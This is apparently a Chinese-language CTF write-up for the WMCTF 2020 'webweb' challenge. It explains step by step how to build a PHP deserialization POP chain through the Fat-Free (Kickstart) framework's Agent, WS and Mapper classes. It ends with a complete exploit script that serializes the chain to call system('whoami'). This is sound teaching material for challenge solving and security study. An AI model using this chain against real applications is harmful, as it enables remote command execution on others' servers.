CTF Web安全

WMCTF webweb(反序列化POP链)

Posted on 2020-08-03,3 min read

题目给出了源码。首先就从index.php开始看
使用了Kickstart框架。然后倒数第二行有个反序列化。。那么就是挖POP链了

全局搜__wakeup并没有。然后搜destruct。
其他两个destruct都是空的。所以。入口点必定是在lib/cli/ws.php的destruct中

在destruct写个die进去。测试下是否能调用类

发现并不能直接调用类。用phpstorm单步执行下
发现。。他这里如果传Agent类。就会去自动包含clib/Agent.php
然而。。并没有这个Agent.php

继续试着传ws.php中的WS类

正常包含ws.php。并且反序列化了WS类
那么destruct所在的Agent类。也是ws.php中的。我们又如何去反序列化它。
传个数组不就好了

成功包含ws.php。调用到了Agent类的destruct方法
如果这里我们WS类和Agent类位置换下。就不能成功调用了。
以我们的payload为例。

array(new CLI\WS(),new CLI\Agent())
先解析数组中的第一个类。WS。然后autoload。会自动包含ws.php。反序列化WS类
然后再解析数组中的第二个类。Agent。autoload会解析为Agent.php。并不能包含。然后反序列化。由于第一个WS类。已经包含过ws.php了。所以这里能直接反序列化ws.php中的Agent类

开始找POP链
这里就直接说链子了。

    function __destruct() {
        if (isset($this->server->events['disconnect']) &&
            is_callable($func=$this->server->events['disconnect']))
            $func($this);
    }
这里的$func。我们可以把他变为一个数组。array(类名,方法)
即可调用任意类的任意方法。然后参数是$this,PHP的函数如果没定义参数。。带上参数访问也是没问题的。

继续看。还是在ws.php中。WS类有个fetch方法

调用了

$this->server->read($this->socket)
把server定义为其他类就可以触发call方法
那么我们是否能找一个__call方法。动态调用函数

在lib/db/sql/mapper.php中发现了符合条件的__call方法

执行了

call_user_func_array($this->props[$func],$args)
//call的第一个参数。是我们之前调用的函数名。第二个参数就是$this->sockeet
$this->server->read($this->socket)
我们只要把call函数所在的Mapper类的props设置为array('read'=>'system')
把WS类的$this->socket设置为whoami。即可动态调用system('whoami')

exp如下

<?php

namespace DB\SQL{
    class Mapper {
        public $props=['read'=>'system'];
    }
}
namespace CLI{
    class ws{}
	class Agent {
		public $server;
		public $events;
		public $socket;
		public function __construct(){
		    $this->server=$this;
		}
	}
}

namespace {
    $b=new DB\SQL\Mapper();
	//初始化call
    $a=new CLI\Agent();
	//静态调用函数触发fetch。重新定义Agent类的server和socket
    $a->server=$b;
    $a->socket='whoami';
	$c=new CLI\Agent();
	//传入的Agent
	$c->events=array('disconnect'=>array($a,'fetch'));
	//传入一个数组
    echo urlencode(serialize([new CLI\ws,$c]));
}
?>

下一篇: 赛博杯招新赛 Web 0Day题解→